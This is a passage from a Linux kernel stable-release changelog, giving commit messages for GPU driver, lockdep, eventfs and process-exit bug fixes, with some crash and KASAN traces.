    drm/amdgpu: Fix VCE 3 ring align_mask
    
    [ Upstream commit 2ee9836545e690c9e66ec203445d7705959fd7a8 ]
    
    The largest frame is 20 dwords, so 0xf mask is too small.
    This was always wrong, but we were lucky with the VCE_CMD_END
    commands inserted after fence and vm_flush.
    
    Fixes: 8897ea8c761b ("drm/amdgpu: Implement insert_end for VCE 3")
    Cc: stable@vger.kernel.org
    Acked-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: David Rosca <david.rosca@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

drm/amdgpu: free the userptr ranges when a CS fails after parser_bos [+ + +]
Author: Jesse Zhang <Jesse.Zhang@amd.com>
Date:   Thu Oct 22 07:35:12 2026 -0400

    drm/amdgpu: free the userptr ranges when a CS fails after parser_bos
    
    [ Upstream commit 1b4da805a0ba354a549ce07459c871c17dd94fe0 ]
    
    amdgpu_cs_parser_bos() allocates an HMM range for every userptr entry of
    the BO list and looks up the user pages. Those ranges are only freed when
    amdgpu_cs_parser_bos() itself fails or when amdgpu_cs_submit() checks
    them under the notifier lock. If amdgpu_cs_patch_jobs(),
    amdgpu_cs_vm_handling(), amdgpu_cs_sync_rings() or the early part of
    amdgpu_cs_submit() fails, nothing frees them: neither
    amdgpu_cs_parser_fini() nor amdgpu_bo_list_free() touch e->range.
    
    Each such CS then leaks the range, its hmm_pfns array (8 bytes per page
    of the userptr BO) and the BO reference the range holds. An IB on a ring
    that patches the CS in place (e.g. VCN) with an unmapped va_start fails
    in amdgpu_cs_patch_ibs() and takes this path.
    
    Free the ranges on those error paths. Ranges amdgpu_cs_submit() already
    dropped are NULL, so freeing them again is a no-op.
    
    Fixes: fec8fdb54e8f ("drm/amdgpu: fix userptr HMM range handling v2")
    Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit c52a9542ed7cfd527feb938bd0accada2ac8d267)
    Cc: stable@vger.kernel.org
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/amdgpu: keep the eviction fence until the last handle is closed [+ + +]
Author: Jesse Zhang <Jesse.Zhang@amd.com>
Date:   Mon Oct 12 12:24:03 2026 +0800

    drm/amdgpu: keep the eviction fence until the last handle is closed
    
    commit 3c44cbcec5eb370713bbd2c315ed7c34d8ccec2b upstream.
    
    amdgpu_gem_object_close() detaches the user queue eviction fence from
    the BO before it checks bo_va->ref_count, so closing any handle of a BO
    removes the fence, even when the file still has another handle to the
    BO and the bo_va with its GPU mappings stays. The BO can then be evicted
    without suspending the user queues of the file, which keep accessing it
    through mappings that are only marked for update.
    
    Seen on navi31 with a SDMA user queue: a BO opened twice in the same
    file (GEM_FLINK + GEM_OPEN) loses its eviction fence when the second
    handle is closed (traced attach/detach of the fence):
    
      attach bo=ffff8c78a6c84c00
      GEM_CLOSE handle=7
      detach bo=ffff8c78a6c84c00
    
    while handle 6 and the mapping are still in use.
    
    Only detach the fence when the last reference to the bo_va goes away,
    matching amdgpu_gem_object_open(), which attaches it only when the
    bo_va is created. With this the fence stays until the file is closed.
    
    Fixes: 31f7efcdca4d ("drm/amdgpu: enable eviction fence")
    Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit 8387982f03d4026b7dc11b0b5e3118298eee4d6a)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/amdgpu: Remove the bo list mutex [+ + +]
Author: Tvrtko Ursulin <tvrtko.ursulin@igalia.com>
Date:   Thu Oct 22 07:35:11 2026 -0400

    drm/amdgpu: Remove the bo list mutex
    
    [ Upstream commit a300c90f00905632ad9f89ad719537941a88600c ]
    
    The bo list is immutable during command submission since the drm_exec
    conversion so we can remove the mutex.
    
    Signed-off-by: Tvrtko Ursulin <tvrtko.ursulin@igalia.com>
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Stable-dep-of: 1b4da805a0ba ("drm/amdgpu: free the userptr ranges when a CS fails after parser_bos")
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES [+ + +]
Author: Jesse Zhang <Jesse.Zhang@amd.com>
Date:   Mon Oct 12 09:28:33 2026 +0800

    drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES
    
    commit d65a459dbc9a6c3b051e22c96f73598e34b31bfc upstream.
    
    The uapi documents drm_amdgpu_gem_list_handles_entry.alignment as
    "physical start_addr alignment in bytes", and GEM_OP
    GET_GEM_CREATE_INFO returns the same value in bytes, but
    GEM_LIST_HANDLES returns tbo.page_alignment, which is in pages. For a BO
    created with a 64 KiB alignment on navi31:
    
      GET_GEM_CREATE_INFO: alignment=65536
      GEM_LIST_HANDLES:    alignment=16
    
    so a user such as CRIU that recreates BOs from this list uses the wrong
    alignment. Convert it to bytes.
    
    Fixes: f9db1fc52ceb ("drm/amdgpu: Add ioctl to get all gem handles for a process")
    Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    (cherry picked from commit aa4493ae949c13e79aba0731394dd7a7e431342b)
    Cc: stable@vger.kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/exec: don't immediately add prelocked obj to array of locked objs [+ + +]
Author: Christian König <ckoenig.leichtzumerken@gmail.com>
Date:   Wed Oct 7 14:46:57 2026 +0200

    drm/exec: don't immediately add prelocked obj to array of locked objs
    
    commit 26401a4999f1596a515b2e704e7066ac09306488 upstream.
    
    When a contention is detected the drm_exec object grabs a reference to
    the contended object, unlocks all other objects and pre-locks the
    contended one before anything else.
    
    The problem is that it is possible that this pre-locked object was about
    to be destroyed and drm_exec is now holding the last reference to it.
    
    So we never actually see this pre-locked object again to be explicitly
    locked and so also never reserve a slot for a dma_fence object on it.
    
    Should the driver now use drm_exec_for_each_locked_object() to add a new
    fence to all locked objects we eventually see a warning or even a
    BUG_ON() to prevent random memory corruption.
    
    Fix this by keeping the prelocked object out of the array of locked objs
    until it was explicitly mentioned by the driver again.
    
    If the prelocked object is never mentioned again by the driver
    just unlock and drop the reference at the end of the locking loop.
    
    Signed-off-by: Christian König <christian.koenig@amd.com>
    Reported-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
    Reviewed-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
    Tested-by: Vitaly Prosyak <vitaly.prosyak@amd.com>
    Fixes: 09593216bff1 ("drm: execution context for GEM buffers v7")
    CC: stable@vger.kernel.org # v6.6+
    Link: https://lore.kernel.org/r/20261007124657.9664-1-christian.koenig@amd.com
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/i915/cx0_phy: Fix ARL-S host bridge detection [+ + +]
Author: Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
Date:   Mon Sep 21 14:32:26 2026 +0530

    drm/i915/cx0_phy: Fix ARL-S host bridge detection
    
    commit 6a8bf59de3ef47ff51face6ea826395a1098baa0 upstream.
    
    Fix is_arrowlake_s_by_host_bridge() which always returned false.
    The while loop always exits with pdev as NULL, so the return
    condition was always false, causing the wrong tx_misc value to be used.
    
    Check the host bridge ID inside the loop body.  Once found early exit
    from the loop release the pci reference "pdev" and return true.
    
    v2:
     - Update commit message (Chaitanya)
    
    Bspec:74165,74491
    Suggested-by: Jani Nikula <jani.nikula@intel.com>
    Cc: <stable@vger.kernel.org>
    Fixes: 3630a47b700e ("drm/i915/cx0_phy: Update HDMI TMDS C20 algorithm value")
    Signed-off-by: Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
    Reviewed-by: Chaitanya Kumar Borah <chaitanya.kumar.borah@intel.com>
    Signed-off-by: Chaitanya Kumar Borah <chaitanya.kumar.borah@intel.com>
    Link: https://patch.msgid.link/20260921090226.946472-1-dnyaneshwar.bhadane@intel.com
    (cherry picked from commit 0507cc5a476af0b6d037b19248bdd20dbe27487d)
    Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/i915/dmc: Add sanity check for DMC load address [+ + +]
Author: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
Date:   Tue Sep 22 19:05:38 2026 +0530

    drm/i915/dmc: Add sanity check for DMC load address
    
    commit 7dedc5bb11f95e96fe80757c924d8d9aa7327759 upstream.
    
    For DMC firmware header version 3, the firmware load address is stored
    in dmc_info->start_mmioaddr and later used by dmc_load_program().
    
    Unlike the MMIO address table, the firmware load address is not
    validated. Add a sanity check to ensure it is within the valid range.
    
    BSpec: 69671, 68378
    Fixes: 3d5928a168a9 ("drm/i915/xelpd: Pipe A DMC plugging")
    Cc: stable@vger.kernel.org
    Assisted-by: Claude-Code:Sonnet-5
    Signed-off-by: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
    Reviewed-by: Mitul Golani<mitulkumar.ajitkumar.golani@intel.com>
    Signed-off-by: Ankit Nautiyal <ankit.k.nautiyal@intel.com>
    Link: https://patch.msgid.link/20260922133535.3180973-6-dibin.moolakadan.subrahmanian@intel.com
    (cherry picked from commit 5e47ee5c76ca9becde8df4ad5202845b7ffcbc4c)
    Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/i915/dmc: Harden DMC firmware payload parsing [+ + +]
Author: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
Date:   Wed Oct 21 21:50:02 2026 -0400

    drm/i915/dmc: Harden DMC firmware payload parsing
    
    [ Upstream commit 8bb1858db453cd4250e3b633f5d2d09206024ca6 ]
    
    Validate the conversion of the DMC firmware size from dwords to bytes
    using check_mul_overflow() before calculating the firmware payload size.
    
    Reject zero-length payloads and zero MMIO counts in the DMC firmware
    header so malformed firmware is caught early. Also set dmc_fw_size only
    after the payload allocation succeeds.
    
    Fixes: eb805623d8b1 ("drm/i915/skl: Add support to load SKL CSR firmware.")
    Cc: stable@vger.kernel.org
    Assisted-by: Claude-Code:Sonnet-5
    Signed-off-by: Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
    Reviewed-by: Mitul Golani<mitulkumar.ajitkumar.golani@intel.com>
    Signed-off-by: Ankit Nautiyal <ankit.k.nautiyal@intel.com>
    Link: https://patch.msgid.link/20260922133535.3180973-5-dibin.moolakadan.subrahmanian@intel.com
    (cherry picked from commit efde6601a1f1daedfe3dcc2816c934ddb44e3eef)
    Signed-off-by: Joonas Lahtinen <joonas.lahtinen@linux.intel.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
drm/panthor: fix immortalis condition [+ + +]
Author: Erik Faye-Lund <erik.faye-lund@arm.com>
Date:   Wed Oct 14 09:09:01 2026 +0200

    drm/panthor: fix immortalis condition
    
    [ Upstream commit c347fef5f8f8927985bd67835331ce4cf7ff43a4 ]
    
    Exactly 10 cores is also valid for an Immortalis configuration,
    according to the public documentation:
    
    https://support.arm.com/compute-ip/immortalis-g715
    
    So let's report this G715 with 10 cores as Immortalis as well, as long
    as it supports the ray-intersection feature. This matches what we do for
    more recent GPUs as well.
    
    Fixes: 3b1dc21d6d80 ("drm/panthor: Add support for Mali-Gx15 family of GPUs")
    Signed-off-by: Erik Faye-Lund <erik.faye-lund@arm.com>
    Reviewed-by: Liviu Dudau <liviu.dudau@arm.com>
    Reviewed-by: Boris Brezillon <boris.brezillon@collabora.com>
    Reviewed-by: Steven Price <steven.price@arm.com>
    Link: https://patch.msgid.link/20261014070902.169273-1-erik.faye-lund@arm.com
    Signed-off-by: Steven Price <steven.price@arm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
drm/vc4: hdmi: Move packet RAM enable to PM runtime [+ + +]
Author: Dave Stevenson <dave.stevenson@raspberrypi.com>
Date:   Fri Oct 2 10:36:43 2026 -0300

    drm/vc4: hdmi: Move packet RAM enable to PM runtime
    
    [ Upstream commit 3f57b34485dc01e5a2db60a89a6ae5439a897e53 ]
    
    Audio can be triggered by the HPD handler and start up before video has
    been restored, calling vc4_hdmi_write_infoframe() for the audio infoframe.
    vc4_hdmi_write_infoframe() needs Packet RAM to be on to store the
    infoframe, however, if the video hasn't been enabled,
    vc4_hdmi_encoder_post_crtc_enable() hasn't been called and therefore, the
    Packet RAM can be disabled by the time vc4_hdmi_write_infoframe() executes,
    causing the following splat:
    
    [  201.570266] ------------[ cut here ]------------
    [  201.570293] Packet RAM has to be on to store the packet.
    [  201.570367] WARNING: drivers/gpu/drm/vc4/vc4_hdmi.c:683 at vc4_hdmi_write_infoframe+0x404/0x494 [vc4], CPU#0: wireplumber/1606
    [...]
    [  201.658650] Hardware name: Raspberry Pi 4 Model B Rev 1.5 (DT)
    [...]
    [  201.758499] Call trace:
    [  201.760967]  vc4_hdmi_write_infoframe+0x404/0x494 [vc4] (P)
    [  201.766607]  vc4_hdmi_write_audio_infoframe+0x1c/0x28 [vc4]
    [  201.772247]  write_infoframe+0xbc/0x140 [drm_display_helper]
    [  201.777975]  drm_atomic_helper_connector_hdmi_update_audio_infoframe+0x80/0xdc [drm_display_helper]
    [  201.787140]  vc4_hdmi_audio_prepare+0x4ac/0x570 [vc4]
    [  201.792252]  drm_connector_hdmi_audio_prepare+0x24/0x30 [drm_display_helper]
    [  201.799390]  hdmi_codec_prepare+0x100/0x160 [snd_soc_hdmi_codec]
    [  201.805471]  snd_soc_pcm_dai_prepare+0xd4/0x100 [snd_soc_core]
    [  201.811375]  __soc_pcm_prepare+0x60/0x12c [snd_soc_core]
    [  201.816752]  soc_pcm_prepare+0x34/0x58 [snd_soc_core]
    [  201.821863]  snd_pcm_do_prepare+0x70/0x8c [snd_pcm]
    [  201.826798]  snd_pcm_action_nonatomic+0xe4/0x174 [snd_pcm]
    [  201.832350]  snd_pcm_prepare+0xc8/0xd8 [snd_pcm]
    [  201.837021]  snd_pcm_common_ioctl+0x458/0x614 [snd_pcm]
    [  201.842308]  snd_pcm_ioctl+0x30/0x48 [snd_pcm]
    [  201.846802]  __arm64_sys_ioctl+0x88/0xd8
    [  201.850769]  invoke_syscall+0x48/0xf4
    [  201.854470]  el0_svc_common+0x80/0xd8
    [  201.858171]  do_el0_svc+0x1c/0x28
    [  201.861520]  el0_svc+0x3c/0xb0
    [  201.864605]  el0t_64_sync_handler+0x68/0xdc
    [  201.868834]  el0t_64_sync+0x198/0x19c
    [  201.872536] ---[ end trace 0000000000000000 ]---
    
    Considering that Packet RAM enable is essentially a power management
    configuration, move its enabling/disabling to the Runtime PM hooks.
    
    Note that post_crtc_disable() still stops all infoframes, but keeps Packet
    RAM enabled, leaving it to be disabled by runtime suspend.
    
    Link: https://github.com/raspberrypi/linux/issues/7069
    Fixes: b47a72f30768 ("drm/vc4: hdmi: Switch to HDMI connector")
    Signed-off-by: Dave Stevenson <dave.stevenson@raspberrypi.com>
    Acked-by: Maxime Ripard <mripard@kernel.org>
    Link: https://patch.msgid.link/20261002-vc4-hdmi-packet-ram-fix-v1-1-3d73148096c9@igalia.com
    Reviewed-by: Maíra Canal <mcanal@igalia.com>
    Signed-off-by: Maíra Canal <mcanal@igalia.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
drm/xe/oa: Zero OA buffer at allocation [+ + +]
Author: Bommu Krishnaiah <krishnaiah.bommu@intel.com>
Date:   Tue Oct 6 07:33:14 2026 +0530

    drm/xe/oa: Zero OA buffer at allocation
    
    [ Upstream commit fd8662823caa114a63f07222d2aa448f6ac5e864 ]
    
    ttm_bo_type_kernel BOs are not guaranteed to be zeroed on allocation and
    may contain data from previously freed pages. Since the OA buffer is
    mmap'able by userspace, this can expose stale kernel memory contents.
    
    Streams opened with DRM_XE_OA_PROPERTY_OA_DISABLED allocate the OA
    buffer without calling xe_oa_init_oa_buffer(). Zero the buffer at
    allocation to prevent information disclosure through mmap.
    
    The existing zeroing in xe_oa_init_oa_buffer() remains necessary for
    zero report-id/timestamp detection on enable/re-enable.
    
    Fixes: 392bf22238ff ("drm/xe/oa/uapi: OA buffer mmap")
    Assisted-by: LLM
    Cc: Umesh Nerlige Ramappa <umesh.nerlige.ramappa@intel.com>
    Cc: Ghimiray, Himal Prasad <himal.prasad.ghimiray@intel.com>
    Signed-off-by: Bommu Krishnaiah <krishnaiah.bommu@intel.com>
    Reviewed-by: Himal Prasad Ghimiray <himal.prasad.ghimiray@intel.com>
    Reviewed-by: Umesh Nerlige Ramappa <umesh.nerlige.ramappa@intel.com>
    Reviewed-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
    Link: https://patch.msgid.link/20261006020314.2711762-1-krishnaiah.bommu@intel.com
    Signed-off-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
    (cherry picked from commit 126c4c5388f9311a390b9b254a835b0cf0f55331)
    Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
drm/xe: Bump LRU for external objects on exec and rebind [+ + +]
Author: Thomas Hellström <thomas.hellstrom@linux.intel.com>
Date:   Mon Oct 12 15:26:07 2026 +0200

    drm/xe: Bump LRU for external objects on exec and rebind
    
    commit d2ce8fcd778ee6d92748c92d23a56d4416c29d86 upstream.
    
    The VM's private BOs get their LRU position refreshed in bulk via
    ttm_lru_bulk_move_tail() on vm->lru_bulk_move, both after a successful
    non-LR exec and after the LR preempt-fence rebind worker runs. External
    objects (BOs potentially shared across VMs) are never added to that
    per-VM bulk move list, so their LRU position is never refreshed by
    either path. This makes external objects in active use look more
    evictable than they are.
    
    Add xe_vm_bump_lru(), which, under a single lru_lock critical section,
    performs the bulk move of the VM's private BOs and bumps each external
    object locked by the drm_exec transaction. Use it from both the non-LR
    exec path and the LR rebind worker, replacing the open-coded bulk move.
    
    Fixes: d490ecf57790 ("drm/xe: Rework xe_exec and the VM rebind worker to use the drm_exec helper")
    Cc: Matthew Auld <matthew.auld@intel.com>
    Cc: Matthew Brost <matthew.brost@intel.com>
    Cc: <stable@vger.kernel.org> # v6.8+
    Assisted-by: LLM
    Signed-off-by: Thomas Hellström <thomas.hellstrom@linux.intel.com>
    Reviewed-by: Matthew Brost <matthew.brost@intel.com>
    Reviewed-by: Matthew Auld <matthew.auld@intel.com>
    Link: https://patch.msgid.link/20261012132607.21387-1-thomas.hellstrom@linux.intel.com
    (cherry picked from commit 324ba30cca180c2e1d02090743dd78ccb15b9e4a)
    Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/xe: Don't transfer shrinker pages for pinned bos on purgeable state change [+ + +]
Author: Thomas Hellström <thomas.hellstrom@linux.intel.com>
Date:   Fri Oct 9 09:00:53 2026 +0200

    drm/xe: Don't transfer shrinker pages for pinned bos on purgeable state change
    
    commit ffbfd3f98f4393e91dffce3a46ccb7cf5329cf2f upstream.
    
    Pinned bos have their pages removed from the shrinker's shrinkable /
    purgeable counts on pin, and added back on unpin according to the
    bo's purgeable state at that time.
    
    However, xe_bo_set_purgeable_shrinker() unconditionally transfers
    pages between the shrinkable and purgeable counts. If the purgeable
    state of a pinned bo changes, for example by userspace madvising
    DONTNEED on a VMA of a bo that is also pinned as a scanout buffer,
    this underflows one count and, after unpin, leaves the other one
    permanently inflated.
    
    Only update the purgeable flag for pinned bos, and leave the page
    accounting to unpin.
    
    Fixes: 536a2ead3a8f ("drm/xe/bo: Add purgeable shrinker state helpers")
    Cc: Arvind Yadav <arvind.yadav@intel.com>
    Cc: Matthew Brost <matthew.brost@intel.com>
    Cc: Himal Prasad Ghimiray <himal.prasad.ghimiray@intel.com>
    Cc: Rodrigo Vivi <rodrigo.vivi@intel.com>
    Cc: Matthew Auld <matthew.auld@intel.com>
    Cc: intel-xe@lists.freedesktop.org
    Cc: <stable@vger.kernel.org> # v7.1+
    Assisted-by: LLM
    Signed-off-by: Thomas Hellström <thomas.hellstrom@linux.intel.com>
    Reviewed-by: Matthew Auld <matthew.auld@intel.com>
    Link: https://patch.msgid.link/20261009070053.7790-1-thomas.hellstrom@linux.intel.com
    (cherry picked from commit afe6bc012034123fd838328668e609bf57e46bd3)
    Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

drm/xe: skip eviction of a BO with no resource [+ + +]
Author: Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
Date:   Mon Oct 12 14:50:14 2026 -0700

    drm/xe: skip eviction of a BO with no resource
    
    [ Upstream commit 448e76cbdc6652ccd3ba337b7a6e1f028859f2ed ]
    
    xe_evict_flags() switches on tbo->resource->mem_type to choose an
    eviction placement. An xe BO can reach eviction with no ttm.resource,
    e.g. an imported dma-buf BO whose resource was freed during teardown
    while its attachment is still live: the exporter then invalidates it via
    xe_dma_buf_move_notify() -> xe_bo_evict(), and the switch dereferences a
    NULL resource and faults.
    
    A BO with no resource has nothing placed or mapped, so there is nothing
    to evict. Return an empty placement (num_placement = 0), mirroring the
    handling already used for non-xe scatter-gather BOs just above;
    ttm_bo_validate() then takes the pipeline-gutting path and returns 0.
    
    Without the fix the xe_dma_buf@xe_test_dmabuf_move_notify_no_resource
    dynamic live selftest will fail with below stack.
    
    BUG: kernel NULL pointer dereference, address: 0000000000000010
    RIP: 0010:xe_evict_flags+0xf4/0x140 [xe]
    Call Trace:
     <TASK>
     xe_bo_evict+0x40/0xa0 [xe]
     ? ttm_bo_pipeline_gutting+0x71/0x180 [ttm]
     xe_test_dmabuf_move_notify_no_resource+0x182/0x440 [xe]
     xe_dma_buf_kunit+0x387/0x580 [xe]
    
    v2: Add Fixes tag and failure info in commit text (Matt Brost)
    
    Fixes: dd08ebf6c352 ("drm/xe: Introduce a new DRM driver for Intel GPUs")
    Assisted-by: GitHub-Copilot:claude-opus-4.8
    Signed-off-by: Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
    Reviewed-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
    Link: https://patch.msgid.link/20261012215014.1495677-5-niranjana.vishwanathapura@intel.com
    (cherry picked from commit dbcfaac6331f1fcb0c2fe3ad3e9adb1e5d43ec0c)
    Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
entry: Account the deferred hrtimer rearm as hardirq context for lockdep [+ + +]
Author: Mikhail Gavrilov <mikhail.v.gavrilov@gmail.com>
Date:   Tue Oct 13 12:13:18 2026 +0500

    entry: Account the deferred hrtimer rearm as hardirq context for lockdep
    
    [ Upstream commit 7cbaa0f4579f48e92639c6abb761fdef8fbade47 ]
    
    On a desktop debug kernel (PROVE_LOCKING, KASAN, LOCKDEP_CHAINS_BITS=19)
    lockdep switches itself off after about two days of uptime with
    "BUG: MAX_LOCKDEP_CHAIN_HLOCKS too low!", and locking is not validated
    until the next reboot. In the last such boot the pool ran out after 46.6
    hours, and a fifth of it, 533509 of 2621431 chain hlocks in 63838 of
    344717 chains, had been created by the deferred hrtimer rearm on return
    from interrupt.
    
    Make lockdep account that rearm as part of the timer interrupt it
    belongs to.
    
    Commit 15dd3a948855
    ("hrtimer: Push reprogramming timers into the interrupt return path")
    moved the reprogramming of the clock event device out of the timer
    interrupt into the interrupt return path. On return to kernel mode
    irqentry_exit_to_kernel_mode_after_preempt() performs it after
    irq_exit_rcu() has already left lockdep's hardirq context. lockdep
    therefore records hrtimer_bases.lock and the timekeeper sequence count
    as taken by the interrupted context, on top of the locks that context
    holds, and every distinct held-lock stack an interrupt hits adds two
    lock chains. When the rearm runs from irq_enter_rcu() or
    __irq_exit_rcu() it is still inside lockdep's hardirq context, and there
    the same acquisitions reuse one pair of chains.
    
    The dependencies recorded on the return path are "lock held with
    interrupts enabled -> hrtimer_bases.lock". Such a lock is hardirq-unsafe
    and hrtimer_bases.lock is hardirq-safe, so a path in the reverse
    direction is already reported by the irq-safety checks without these
    edges.
    
    Re-enter lockdep's hardirq context around the rearm on the kernel return
    path. The return to user mode path holds no locks and is left alone, as
    is the rearm in __schedule(), which runs under the runqueue lock.
    
    With the same kernel tree, configuration and workload, one hour of
    uptime including a full kernel build, the chains of this shape, with
    hrtimer_bases.lock and optionally the timekeeper sequence count on top
    of a held-lock stack outside the scheduler, go from 13266 (96187 chain
    hlocks, 15.9% of those in use) to 4. Those 4 come from clock_was_set(),
    which takes cpus_read_lock() and each CPU's hrtimer_bases.lock and reads
    the clock under it.
    
    Fixes: 15dd3a948855 ("hrtimer: Push reprogramming timers into the interrupt return path")
    Signed-off-by: Mikhail Gavrilov <mikhail.v.gavrilov@gmail.com>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Link: https://patch.msgid.link/20261013071318.33300-1-mikhail.v.gavrilov@gmail.com
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
eventfs: Free the eventfs_inode after an rcu grace period too [+ + +]
Author: Christian Brauner <brauner@kernel.org>
Date:   Fri Oct 9 23:51:54 2026 +0200

    eventfs: Free the eventfs_inode after an rcu grace period too
    
    commit 2cd88c498ecff8e22bf4c397b8eb226db70ac343 upstream.
    
    tracefs_d_revalidate() reads ->is_freed of the eventfs_inode that
    dentry->d_fsdata points to, and ->d_revalidate() is called in rcu
    pathwalk mode with nothing but rcu_read_lock() held. The dentry itself
    stays around for such a walker, but tracefs_d_release() drops its
    reference to the eventfs_inode when the dentry is killed, and
    release_ei() then frees it after a grace period of eventfs_srcu. An
    SRCU grace period doesn't wait for rcu_read_lock() sections, so the
    walker can read an eventfs_inode that is already gone.
    
    With a pathwalk held up in tracefs_d_revalidate() while the dentry goes
    away:
    
      BUG: KASAN: slab-use-after-free in tracefs_d_revalidate+0x76/0x90
      Read of size 1 at addr ff1100010152d8d0 by task walker/97
      Call Trace:
       <TASK>
       tracefs_d_revalidate+0x76/0x90
       lookup_fast+0x320/0x640
       path_lookupat+0x160/0xb00
       filename_lookup+0x1f1/0x5b0
       vfs_statx+0xd7/0x3b0
       vfs_fstatat+0x4d/0x90
       __do_sys_newfstatat+0xa0/0x100
       do_syscall_64+0x10e/0x5e0
       entry_SYSCALL_64_after_hwframe+0x77/0x7f
      [...]
      Allocated by task 1:
       __kmalloc_cache_noprof+0x249/0x560
       eventfs_create_dir+0x7a/0x590
       event_create_dir+0x2fb/0xcf0
       trace_add_event_call+0xbf/0x150
      [...]
      Freed by task 11:
       kfree+0x1db/0x5b0
       srcu_invoke_callbacks+0x3a3/0x620
       process_one_work+0x937/0x1810
       worker_thread+0x4f1/0xd60
    
    Before commit 8e556432477e ("eventfs: Use SRCU for freeing
    eventfs_inodes") release_ei() used call_rcu(), which covered the walker,
    while eventfs_iterate() needs the SRCU grace period. Wait for both and
    chain call_rcu() from the SRCU callback.
    
    Cc: stable@vger.kernel.org
    Fixes: 8e556432477e ("eventfs: Use SRCU for freeing eventfs_inodes")
    Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-4-7446d2d335e6@kernel.org
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
exit: fix lost-update race on the child_subreaper bitfields [+ + +]
Author: Nickolai Zeldovich <nickolai@csail.mit.edu>
Date:   Sun Oct 11 08:34:39 2026 -0400

    exit: fix lost-update race on the child_subreaper bitfields
    
    [ Upstream commit 28d2905d77bc2e7c20260a6bc6b4179bdf95cb06 ]
    
    is_child_subreaper, has_child_subreaper, autoreap and, with
    CONFIG_POSIX_TIMERS=y, timer_create_restore_ids are 1-bit fields that
    share one memory location in struct signal_struct.  A store to any of
    them is a read-modify-write of the whole word, and three of the stores
    run without a common lock:
    
      - PR_SET_CHILD_SUBREAPER writes me->signal->is_child_subreaper with
        no lock held.
    
      - propagate_has_child_subreaper(), run by walk_process_tree() from
        the same prctl in an ancestor, writes p->signal->has_child_subreaper
        of every descendant p under read_lock(&tasklist_lock), which does
        not exclude the other writers.
    
      - PR_TIMER_CREATE_RESTORE_IDS writes
        current->signal->timer_create_restore_ids with no lock held.
    
    When a process calls prctl(PR_SET_CHILD_SUBREAPER, 1) while an
    ancestor's PR_SET_CHILD_SUBREAPER walk visits it, or while another
    thread of the same process calls prctl(PR_TIMER_CREATE_RESTORE_IDS),
    the read-modify-write sequences interleave and one of the bits is
    silently lost:
    
      - If has_child_subreaper is lost, the process's orphaned descendants
        are reparented straight to init when it exits: find_new_reaper()
        tests father->signal->has_child_subreaper first and never looks for
        the ancestor subreaper.  The service manager that registered as the
        subreaper never gets SIGCHLD for them and cannot wait() on them.
    
      - If is_child_subreaper is lost, the prctl returned 0 but the process
        is not a subreaper: orphans of its descendants skip it and are
        reparented to the next subreaper up or to init.
        PR_GET_CHILD_SUBREAPER reads back 0.
    
      - If timer_create_restore_ids is lost, the prctl returned 0 but
        timer_create() does not restore the requested timer ids (or keeps
        restoring them after _OFF), and _GET reads back the old value.
    
